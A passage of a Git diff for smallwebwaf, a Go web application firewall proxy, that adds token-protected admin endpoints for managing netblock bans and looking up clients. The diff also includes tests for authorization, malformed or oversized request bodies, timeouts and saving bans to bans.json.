{ + http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound) + + return + } + + rq.answerBans(lifted) +} + +// clientAnswer is the answer to GET ClientsPath: the client the +// address is, as clients.json holds it, or null when the table of +// clients does not hold it, and the bans on each netblock the address is +// in, as bans.json lists them. +type clientAnswer struct { + Client *ratelimit.Client `json:"client"` + Bans []state.BanEntry `json:"bans"` +} + +// showClient answers GET ClientsPath with what smallwebwaf knows of +// the client: its counters, its history, which holds its country as last +// looked up and its offences, and its bans with their notes. +func (rq *request) showClient() { + addr, err := pathAddress(rq.in.URL.Path, ClientsPath) + if err != nil { + http.Error(rq.out, err.Error(), http.StatusBadRequest) + + return + } + + answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))} + + client, seen := rq.h.limiter.Client(clientGroup(addr)) + if seen { + answer.Client = &client + } + + rq.answerJSON(answer) +} + +// pathAddress reads the client's address that follows prefix in path. +func pathAddress(path, prefix string) (netip.Addr, error) { + value := strings.TrimPrefix(path, prefix) + + addr, err := netip.ParseAddr(value) + if err != nil { + return netip.Addr{}, fmt.Errorf("%q %w", value, errNotAddress) + } + + return addr.Unmap(), nil +} + +// answerBans answers with held under bans, as bans.json lists them. +func (rq *request) answerBans(held []bans.Ban) { + rq.answerJSON(struct { + Bans []state.BanEntry `json:"bans"` + }{state.BanEntries(held)}) +} + +// answerJSON answers with value as indented JSON. +func (rq *request) answerJSON(value any) { + body, err := json.MarshalIndent(value, "", " ") + if err != nil { + rq.h.processLog.Error("encoding an answer failed", "error", err.Error()) + http.Error(rq.out, http.StatusText(http.StatusInternalServerError), + http.StatusInternalServerError) + + return + } + + rq.out.Header().Set("Content-Type", "application/json") + _, _ = rq.out.Write(append(body, '\n')) +} diff --git a/internal/proxy/admin_test.go b/internal/proxy/admin_test.go new file mode 100644 index 0000000..f799b59 --- /dev/null +++ b/internal/proxy/admin_test.go @@ -0,0 +1,535 @@ +package proxy_test + +import ( + "encoding/json" + "net/http" + "net/netip" + "slices" + "strconv" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/state" +) + +const ( + adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + // adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer + // how a request carries it. + adminSecret = "fedcba9876543210fedcba9876543210" + adminBearer = "Bearer " + adminSecret + // adminClient is the client the tests' admin sends its requests from. + adminClient = "192.0.2.10" + // banOtherClient is the body of a request to ban otherClient for an + // hour. + banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` + + `"reason": "probes for logins"}` +) + +func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) { + t.Parallel() + + // The metrics token is set, and opens none of them. + s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token}) + server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(), + bans.Notes{}) + before := server.Ledger.Snapshot() + + // An empty token does not match the unset one either. + for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { + for _, e := range adminEndpoints() { + s.adminRequest(adminClient, authorization, e.method, e.path, e.body, + http.StatusNotFound, requestlog.ActionAdmin) + } + } + + if after := server.Ledger.Snapshot(); !slices.Equal(after, before) { + t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before) + } +} + +func TestAdminEndpointsNeedTheAdminToken(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + metricsToken: token, + }) + + // Listing the bans, banning otherClient, lifting that ban, and asking + // about otherClient, in that order. Without the admin token, with the + // metrics token, or with one that differs, each is refused, and + // changes nothing; with the admin token, it is answered. + for _, e := range adminEndpoints() { + before := server.Ledger.Snapshot() + + for _, authorization := range []string{ + "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, + } { + got := s.adminRequest(adminClient, authorization, e.method, e.path, e.body, + http.StatusUnauthorized, requestlog.ActionAdmin) + if got.header.Get("WWW-Authenticate") != "Bearer" { + t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer", + e.method, e.path, authorization) + } + } + + if after := server.Ledger.Snapshot(); !slices.Equal(after, before) { + t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v", + e.method, e.path, after, before) + } + + got := s.admin(e.method, e.path, e.body, http.StatusOK) + if got.header.Get("Content-Type") != "application/json" { + t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type")) + } + } + + // Any other request under /_smallwebwaf/ is not found. + for _, e := range []adminEndpoint{ + {http.MethodPut, proxy.BansPath, banOtherClient}, + {http.MethodDelete, proxy.BansPath, ""}, + {http.MethodGet, proxy.BansPath + "/" + otherClient, ""}, + {http.MethodPost, proxy.ClientsPath + otherClient, ""}, + {http.MethodGet, strings.TrimSuffix(proxy.ClientsPath, "/"), ""}, + } { + s.admin(e.method, e.path, e.body, http.StatusNotFound) + } +} + +func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) { + t.Parallel() + + s, clk, _ := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + banScopeV4Prefix: "24", + }) + + // A ban on otherClient bans the /24 a ban on that client covers, so it + // refuses client too, for an hour. + start := clk.Now() + expires := start.Add(time.Hour) + want := state.BanEntry{ + Netblock: netip.MustParsePrefix("203.0.113.0/24"), + Start: start, + Expires: &expires, + Cause: bans.CauseAdmin, + Reason: "probes for logins", + } + + wantBans(t, s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK), + want) + + line := s.get(client, http.StatusForbidden, requestlog.ActionBanned) + if line.BanExpires != requestlog.FormatTime(expires) { + t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) + } + + // Its notes count the request it refused. + want.Notes.Requests, want.Notes.Refused = 1, 1 + + wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want) + + // Ten minutes on, lifting the bans on client lifts that one, which is + // kept, marked lifted. + clk.advance(10 * time.Minute) + + lifted := clk.Now() + want.Lifted = &lifted + + wantBans(t, s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "", + http.StatusOK), want) + s.get(client, http.StatusOK, requestlog.ActionForward) + wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want) + + // No ban on it is active any more. + s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "", http.StatusNotFound) +} + +func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { + t.Parallel() + + s, clk, _ := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + banScopeV4Prefix: "24", + }) + start := clk.Now() + + for _, tc := range []struct { + netblock, duration string + want string + length time.Duration // 0 for a permanent ban + }{ + // An address stands for the netblock a ban on that client covers. + {client, "7d", "203.0.113.0/24", 7 * 24 * time.Hour}, + {"::ffff:198.51.100.7", "90m", "198.51.100.0/24", 90 * time.Minute}, + {"2001:db8:5::1", "permanent", "2001:db8:5::/64", 0}, + // A netblock stands for itself, its bits past its length cleared. + {"198.51.100.7/16", "1h", "198.51.0.0/16", time.Hour}, + {"2001:db8:6::/48", "1h", "2001:db8:6::/48", time.Hour}, + } { + // Whitespace may follow the object. + body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` + + "\r\n" + want := state.BanEntry{ + Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin, + } + + if tc.length != 0 { + expires := start.Add(tc.length) + want.Expires = &expires + } + + wantBans(t, s.admin(http.MethodPost, proxy.BansPath, body, http.StatusOK), want) + } +} + +func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret}) + + for _, tc := range []struct{ body, want string }{ + {"", "the body is not a JSON object of netblock, duration and reason: EOF"}, + {"netblock=203.0.113.9", "the body is not a JSON object"}, + { + `{"netblock": "203.0.113.9", "duration": "1h", "until": "2027"}`, + `unknown field "until"`, + }, + { + `{"netblock": "203.0.113", "duration": "1h"}`, + `netblock "203.0.113" is not an address or a netblock`, + }, + // A client's address is looked up as IPv4, so a ban on an + // IPv4-mapped netblock would refuse nothing. + { + `{"netblock": "::ffff:203.0.113.0/120", "duration": "1h"}`, + `netblock "::ffff:203.0.113.0/120" is IPv4-mapped`, + }, + // Read as an address, its zone would be "x/48", and its ban on the + // /64 around it. + { + `{"netblock": "2001:db8::1%x/48", "duration": "1h"}`, + `netblock "2001:db8::1%x/48" has a zone`, + }, + { + `{"netblock": "fe80::1%eth0", "duration": "1h"}`, + `netblock "fe80::1%eth0" has a zone`, + }, + // Anything but whitespace after the object. + { + `{"netblock": "203.0.113.9", "duration": "1h"}` + + `{"netblock": "198.51.100.0/24", "duration": "1h"}`, + "more follows the object", + }, + {`{"netblock": "203.0.113.9", "duration": "1h"} x`, "more follows the object"}, + {`{"duration": "1h"}`, `netblock "" is not an address or a netblock`}, + {`{"netblock": "203.0.113.9"}`, `duration "" is not a duration above zero`}, + { + `{"netblock": "203.0.113.9", "duration": "off"}`, + `duration "off" is not a duration above zero`, + }, + { + `{"netblock": "203.0.113.9", "duration": "0s"}`, + `duration "0s" is not a duration above zero`, + }, + { + `{"netblock": "203.0.113.9", "duration": "forever"}`, + `duration "forever" is not a duration above zero, such as 1h or 7d, ` + + `or permanent`, + }, + // Over the 4 KiB read of a body, even when the object comes first. + { + `{"netblock": "203.0.113.9", "duration": "1h", "reason": "` + + strings.Repeat("x", 4<<10) + `"}`, + "request body too large", + }, + { + `{"netblock": "203.0.113.9", "duration": "1h"}` + strings.Repeat(" ", 4<<10), + "request body too large", + }, + } { + got := s.admin(http.MethodPost, proxy.BansPath, tc.body, http.StatusBadRequest) + if !strings.Contains(string(got.body), tc.want) { + t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want) + } + } + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("the ledger holds %+v, want no ban", held) + } +} + +func TestBanToAddOverTheRequestSizeLimitIsRefused(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + requestMaxBytes: "16", + }) + + // Sent in a chunk, its length is not announced, so that it is found + // over SWWAF_REQUEST_MAX_BYTES only as it is read. + chunk := `{"netblock": "203.0.113.9", "duration": "1h"}` + s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked", + http.MethodPost, proxy.BansPath, + strconv.FormatInt(int64(len(chunk)), 16)+"\r\n"+chunk+"\r\n0\r\n\r\n", + http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge) + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("the ledger holds %+v, want no ban", held) + } +} + +func TestBanToAddSlowerThanTheClientRequestTimeoutIsRefused(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + metricsToken: token, + clientRequestTimeout: shortTimeoutSetting, + }) + + // The chunk announces 256 bytes and the rest of it never comes, so only + // the timeout ends the wait. A hold-up of the test process can only + // make the answer later, so the time is checked only for not being + // shorter than the timeout. + start := time.Now() + + s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked", + http.MethodPost, proxy.BansPath, "100\r\n"+`{"netblock": "203.0.113.9", `, + http.StatusRequestTimeout, requestlog.ActionTimedOut) + + if took := time.Since(start); took < shortTimeout { + t.Errorf("answered after %s, before the timeout of %s ran out", took, shortTimeout) + } + + wantLimitHits(t, s.addr, clientRequestTimeout, 1) + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("the ledger holds %+v, want no ban", held) + } +} + +func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) { + t.Parallel() + + s, clk, _ := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + rateLimitPerMinute: "2", + rateLimitExemptNets: adminClient, + }) + start := clk.Now() + + // Two of otherClient's requests are let through; the third breaks the + // limit of two a minute, and bans it. + s.get(otherClient, http.StatusOK, requestlog.ActionForward) + s.get(otherClient, http.StatusOK, requestlog.ActionForward) + s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited) + + // Asked about by its address in IPv6 form too. + for _, addr := range []string{otherClient, "::ffff:" + otherClient} { + var got struct { + Client *ratelimit.Client `json:"client"` + Bans []state.BanEntry `json:"bans"` + } + + decode(t, s.admin(http.MethodGet, proxy.ClientsPath+addr, "", http.StatusOK), &got) + + if got.Client == nil { + t.Fatalf("%s: no client", addr) + } + + history := got.Client.History + if got.Client.Client != netip.MustParsePrefix(otherClient+"/32") || + history.Requests != 3 || history.Forwarded != 2 || history.Refused != 1 || + history.Offences.Limit != 1 || !history.FirstSeen.Equal(start) { + t.Errorf("%s: client %+v", addr, got.Client) + } + + if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit || + got.Bans[0].Reason != "requests per minute over the limit of 2" || + got.Bans[0].Notes.Count != 3 { + t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans) + } + } + + // Of an address no request came from and no ban covers, nothing is + // known. + got := s.admin(http.MethodGet, proxy.ClientsPath+"198.51.100.99", "", http.StatusOK) + if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" { + t.Errorf("an unknown client is answered\n%s", got.body) + } + + s.admin(http.MethodGet, proxy.ClientsPath+"203.0.113", "", http.StatusBadRequest) + s.admin(http.MethodDelete, proxy.BansPath+"/203.0.113.0/24", "", + http.StatusBadRequest) +} + +func TestBannedClientIsRefusedAtTheEndpointsEvenWithTheToken(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{adminToken: adminSecret}) + + s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK) + + // otherClient cannot lift its own ban either. + for _, e := range adminEndpoints() { + s.adminRequest(otherClient, adminBearer, e.method, e.path, e.body, + http.StatusForbidden, requestlog.ActionBanned) + } +} + +func TestAdminRequestsCountTowardTheLimits(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + rateLimitPerMinute: "2", + }) + + // A request refused for a missing token and one answered count toward + // the limit of two a minute, so the next breaks it. + s.adminRequest(client, "", http.MethodGet, proxy.BansPath, "", + http.StatusUnauthorized, requestlog.ActionAdmin) + s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "", + http.StatusOK, requestlog.ActionAdmin) + s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "", + http.StatusForbidden, requestlog.ActionRateLimited) +} + +func TestClientInAllowNetsSkipsTheChecksButNeedsTheToken(t *testing.T) { + t.Parallel() + + const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS + + s, clk, server := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + allowNets: allowed, + rateLimitPerMinute: "1", + }) + + // A ban on it refuses nothing, and its requests are not counted. + server.Ledger.BanForAdmin(netip.MustParsePrefix(allowed+"/32"), clk.Now(), + time.Time{}, "") + + for range 2 { + s.adminRequest(allowed, "", http.MethodGet, proxy.BansPath, "", + http.StatusUnauthorized, requestlog.ActionAdmin) + s.adminRequest(allowed, adminBearer, http.MethodGet, proxy.BansPath, "", + http.StatusOK, requestlog.ActionAdmin) + } +} + +func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{ + adminToken: adminSecret, + mode: observe, + }) + + for _, e := range adminEndpoints() { + s.adminRequest(adminClient, "", e.method, e.path, e.body, + http.StatusUnauthorized, requestlog.ActionAdmin) + } + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("the ledger holds %+v, want no ban", held) + } +} + +// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens. +type adminEndpoint struct { + method, path, body string +} + +// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN +// opens: listing the bans, banning otherClient for an hour, lifting the +// bans on otherClient, and asking about otherClient. +func adminEndpoints() []adminEndpoint { + return []adminEndpoint{ + {http.MethodGet, proxy.BansPath, ""}, + {http.MethodPost, proxy.BansPath, banOtherClient}, + {http.MethodDelete, proxy.BansPath + "/" + otherClient, ""}, + {http.MethodGet, proxy.ClientsPath + otherClient, ""}, + } +} + +// admin sends a request with method for path, with body, from +// adminClient, with the admin token, and checks that it is answered with +// status, its log line's action admin. It returns the answer. +func (s *sender) admin(method, path, body string, status int) answer { + s.t.Helper() + + return s.adminRequest(adminClient, adminBearer, method, path, body, status, + requestlog.ActionAdmin) +} + +// adminRequest sends a request with method for path, with body, from the +// client at from, with authorization as its Authorization header unless +// it is "", and checks its answer's status and its log line's action, as +// request does. authorization may end in more header lines. A body that +// is not "" has its length announced, unless authorization names +// Transfer-Encoding. It returns the answer. +func (s *sender) adminRequest( + from, authorization, method, path, body string, status int, action string, +) answer { + s.t.Helper() + + var header []string + + if authorization != "" { + header = append(header, "Authorization: "+authorization) + } + + if body != "" && !strings.Contains(authorization, "Transfer-Encoding") { + header = append(header, "Content-Length: "+strconv.Itoa(len(body))) + } + + _, got := s.requestWithBody(method, from, path, strings.Join(header, "\r\n"), + body, status, action) + + return got +} + +// wantBans checks that a ban endpoint answered with want, and no other +// ban. +func wantBans(t *testing.T, got answer, want ...state.BanEntry) { + t.Helper() + + var decoded struct { + Bans []state.BanEntry `json:"bans"` + } + + decode(t, got, &decoded) + + gotJSON, err := json.Marshal(decoded.Bans) + if err != nil { + t.Fatalf("encode %+v: %v", decoded.Bans, err) + } + + wantJSON, err := json.Marshal(want) + if err != nil { + t.Fatalf("encode %+v: %v", want, err) + } + + if string(gotJSON) != string(wantJSON) { + t.Errorf("bans\n%s\nwant\n%s", gotJSON, wantJSON) + } +} + +// decode reads the JSON answer of an endpoint into value. +func decode(t *testing.T, got answer, value any) { + t.Helper() + + err := json.Unmarshal(got.body, value) + if err != nil { + t.Fatalf("decode %s: %v", got.body, err) + } +} diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index e9b3c86..3bbc649 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -53,7 +53,7 @@ func (rq *request) limitBroken(now time.Time) bool { return true } - netblock := rq.netblock() + netblock := rq.h.netblock(rq.client) ban := rq.h.ledger.BanForLimit(netblock, now, bans.Notes{ Country: rq.line.Country, Limit: hit.Limit, @@ -71,7 +71,7 @@ func (rq *request) limitBroken(now time.Time) bool { // banForAttack bans the client's netblock at now for a clear sign of // attack, the match of rule, a ban rule. func (rq *request) banForAttack(now time.Time, rule rules.Rule) { - netblock := rq.netblock() + netblock := rq.h.netblock(rq.client) ban := rq.h.ledger.BanForAttack(netblock, now, bans.Notes{ Country: rq.line.Country, RuleID: rule.ID, @@ -102,13 +102,13 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 { return rq.h.limiter.Requests(netblock) + 1 } -// netblock is the netblock a ban on the client covers: its IPv4 address, +// netblock is the netblock a ban on client covers: its IPv4 address, // widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup // counts it in. -func (rq *request) netblock() netip.Prefix { - addr := rq.client.Unmap() +func (h *handler) netblock(client netip.Addr) netip.Prefix { + addr := client.Unmap() if addr.Is4() { - return netip.PrefixFrom(addr, rq.h.config.BanScopeV4Prefix).Masked() + return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked() } return clientGroup(addr) @@ -118,7 +118,7 @@ func (rq *request) netblock() netip.Prefix { // permanent. func banExpires(ban bans.Ban) string { if ban.Permanent() { - return "permanent" + return permanent } return requestlog.FormatTime(ban.Expires) diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 397f993..76c25be 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -417,14 +417,28 @@ func (s *sender) requestWithHeader( ) (logLine, string) { s.t.Helper() + line, got := s.requestWithBody(http.MethodGet, from, path, header, "", status, action) + + return line, string(got.body) +} + +// requestWithBody is requestWithHeader for a request with method, whose +// body is sent as it is after the headers, header holding its +// Content-Length or Transfer-Encoding. header may hold several lines, +// separated by "\r\n". It returns the whole answer. +func (s *sender) requestWithBody( + method, from, path, header, body string, status int, action string, +) (logLine, answer) { + s.t.Helper() + if header != "" { header += "\r\n" } conn := dial(s.t, s.addr) - send(s.t, conn, "GET "+path+" HTTP/1.1\r\nHost: "+appHost+ + send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+ "\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n"+ - header+"\r\n") + header+"\r\n"+body) err := conn.SetReadDeadline(time.Now().Add(waitLimit)) if err != nil { @@ -453,5 +467,5 @@ func (s *sender) requestWithHeader( s.sent++ wantLine(s.t, line, status, action) - return line, string(got.body) + return line, got } diff --git a/internal/proxy/metrics_test.go b/internal/proxy/metrics_test.go index 01aeae6..1d82beb 100644 --- a/internal/proxy/metrics_test.go +++ b/internal/proxy/metrics_test.go @@ -251,6 +251,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) { s, clk, server := startWithClock(t, "", map[string]string{ metricsToken: token, + adminToken: adminSecret, rateLimitExemptNets: scraper, }) @@ -265,6 +266,10 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) { }}) wantMetric(t, s.scrape(scraper), admins, 1) + + // And a ban made through the endpoint. + s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK) + wantMetric(t, s.scrape(scraper), admins, 2) } func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 3d5e3b3..f29da4c 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -38,6 +38,14 @@ const HealthPath = "/_smallwebwaf/healthz" // SWWAF_METRICS_TOKEN. const MetricsPath = "/_smallwebwaf/metrics" +// BansPath is where an admin lists and adds bans, and, followed by / and +// a client's address, lifts them, with SWWAF_ADMIN_TOKEN. +const BansPath = "/_smallwebwaf/bans" + +// ClientsPath is where an admin asks what smallwebwaf knows of a client, +// by the client's address after it, with SWWAF_ADMIN_TOKEN. +const ClientsPath = "/_smallwebwaf/clients/" + // Params are what New needs. type Params struct { Config *config.Config diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 91b6642..f4e0218 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -387,10 +387,14 @@ func (rq *request) answer(r refusal) { } // refuse records r, unless an earlier refusal was, and ends the request -// to the app. +// to the app, if one was made: smallwebwaf reads the body of a request +// it answers itself too. func (rq *request) refuse(r refusal) { rq.refused.CompareAndSwap(nil, &r) - rq.cancel() + + if rq.cancel != nil { + rq.cancel() + } } // finish ends the request's timeouts, counts it in the metrics and writes diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 9a7b68b..ba3ac99 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -255,6 +255,20 @@ func (l *Limiter) Requests(netblock netip.Prefix) int64 { return requests } +// Client returns client as the table holds it, and whether it does. It is +// not a request from client, and leaves when it was last seen unchanged. +func (l *Limiter) Client(client netip.Prefix) (Client, bool) { + l.mu.Lock() + defer l.mu.Unlock() + + c, seen := l.clients.Peek(client) + if !seen { + return Client{}, false + } + + return *c, true +} + // Len returns how many clients are in the table. func (l *Limiter) Len() int { l.mu.Lock() diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index fa669d0..eced76a 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -37,6 +37,9 @@ const ( stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rulesDir = "SWWAF_RULES_DIR" + adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + // adminSecret is the SWWAF_ADMIN_TOKEN the tests set. + adminSecret = "fedcba9876543210fedcba9876543210" // greeting is what the tests' app answers. greeting = "hello from the app" ) @@ -127,25 +130,31 @@ func TestInvalidSettingStopsTheStart(t *testing.T) { } } -func TestShortMetricsTokenStopsTheStartUnshown(t *testing.T) { +func TestShortTokenStopsTheStartUnshown(t *testing.T) { t.Parallel() const token = "a-token-of-31-characters-at-all" //nolint:gosec // too short to use - out := &output{} + for _, name := range []string{adminToken, "SWWAF_METRICS_TOKEN"} { + t.Run(name, func(t *testing.T) { + t.Parallel() - status := run(t.Context(), map[string]string{"SWWAF_METRICS_TOKEN": token}, out) - if status != 1 { - t.Errorf("exit status %d, want 1", status) - } + out := &output{} - line := out.line(t, "msg", "invalid setting") - if line["error"] != "SWWAF_METRICS_TOKEN: is shorter than 32 characters" { - t.Errorf("start refused with %v", line) - } + status := run(t.Context(), map[string]string{name: token}, out) + if status != 1 { + t.Errorf("exit status %d, want 1", status) + } - if strings.Contains(out.text(), token) { - t.Errorf("the output shows the token:\n%s", out.text()) + line := out.line(t, "msg", "invalid setting") + if line["error"] != name+": is shorter than 32 characters" { + t.Errorf("start refused with %v", line) + } + + if strings.Contains(out.text(), token) { + t.Errorf("the output shows the token:\n%s", out.text()) + } + }) } } @@ -329,6 +338,51 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) { }) } +func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: dir, + rulesDir: t.TempDir(), + trustedProxies: localhost + "/32", + adminToken: adminSecret, + // Neither comes due in the test: the files are written as + // smallwebwaf stops. + stateWriteDelay: "1h", + stateCounterInterval: "1h", + } + + runUntilStopped(t, env, func(url string) { + askAsAdmin(t, http.MethodPost, url+"_smallwebwaf/bans", + `{"netblock": "203.0.113.0/24", "duration": "permanent", `+ + `"reason": "probes for logins"}`) + wantStatus(t, url, "203.0.113.9", http.StatusForbidden) + }) + + ban := onlyBan(t, dir) + if ban["netblock"] != "203.0.113.0/24" || ban["cause"] != "admin" || + ban["reason"] != "probes for logins" || ban["expires"] != nil || + ban["lifted"] != nil { + t.Errorf("bans.json holds %v, want the admin's permanent ban", ban) + } + + // After a restart the ban still refuses; once lifted, it refuses no + // more, and bans.json keeps it, marked lifted. + runUntilStopped(t, env, func(url string) { + wantStatus(t, url, "203.0.113.9", http.StatusForbidden) + askAsAdmin(t, http.MethodDelete, url+"_smallwebwaf/bans/203.0.113.9", "") + wantStatus(t, url, "203.0.113.9", http.StatusOK) + }) + + ban = onlyBan(t, dir) + if ban["netblock"] != "203.0.113.0/24" || ban["lifted"] == nil { + t.Errorf("bans.json holds %v, want the admin's ban, lifted", ban) + } +} + func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) { t.Parallel() @@ -752,6 +806,57 @@ func metricsText(t *testing.T, url, token string) string { return string(body) } +// askAsAdmin sends a request with method to url, with body and +// adminSecret, and checks that it is answered 200. +func askAsAdmin(t *testing.T, method, url, body string) { + t.Helper() + + req, err := http.NewRequestWithContext(t.Context(), method, url, + strings.NewReader(body)) + if err != nil { + t.Fatalf("new request: %v", err) + } + + req.Header.Set("Authorization", "Bearer "+adminSecret) + + transport := &http.Transport{} + defer transport.CloseIdleConnections() + + res, err := (&http.Client{Transport: transport}).Do(req) + if err != nil { + t.Fatalf("request: %v", err) + } + + _ = res.Body.Close() + + if res.StatusCode != http.StatusOK { + t.Fatalf("%s %s answered %d", method, url, res.StatusCode) + } +} + +// onlyBan returns the one ban bans.json in dir holds. +func onlyBan(t *testing.T, dir string) map[string]any { + t.Helper() + + path := filepath.Join(dir, "bans.json") + + data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory + if err != nil { + t.Fatalf("read bans.json: %v", err) + } + + var file struct { + Bans []map[string]any `json:"bans"` + } + + err = json.Unmarshal(data, &file) + if err != nil || len(file.Bans) != 1 { + t.Fatalf("bans.json holds\n%s\nwant one ban (%v)", data, err) + } + + return file.Bans[0] +} + // wantRefused checks that a request to url is refused with 403, the // default SWWAF_BAN_RESPONSE. func wantRefused(t *testing.T, url string) { diff --git a/internal/state/state.go b/internal/state/state.go index 8bee811..7c5fbe8 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -92,13 +92,14 @@ type Files struct { // bansFile is bans.json, indented for an admin to read and edit. type bansFile struct { Version int `json:"version"` - Bans []banEntry `json:"bans"` + Bans []BanEntry `json:"bans"` } -// banEntry is a ban as bans.json holds it: a permanent ban's expires is +// BanEntry is a ban as bans.json holds it: a permanent ban's expires is // null, a ban an admin added may have no cause, which makes it an -// admin's, and lifted is left out until an admin lifts the ban. -type banEntry struct { +// admin's, and lifted is left out until an admin lifts the ban. The ban +// endpoints answer with bans in this form too. +type BanEntry struct { Netblock netip.Prefix `json:"netblock"` Start time.Time `json:"start"` Expires *time.Time `json:"expires"` @@ -434,12 +435,7 @@ func (f *Files) setAside(name string, parseErr error) error { func (f *Files) encode(name string) ([]byte, error) { switch name { case bansJSON: - held := f.params.Ledger.Snapshot() - - file := bansFile{Version: version, Bans: make([]banEntry, 0, len(held))} - for _, ban := range held { - file.Bans = append(file.Bans, newBanEntry(ban)) - } + file := bansFile{Version: version, Bans: BanEntries(f.params.Ledger.Snapshot())} data, err := json.MarshalIndent(file, "", " ") if err != nil { @@ -454,9 +450,20 @@ func (f *Files) encode(name string) ([]byte, error) { } } +// BanEntries returns held as bans.json lists them, an empty list for +// none. +func BanEntries(held []bans.Ban) []BanEntry { + entries := 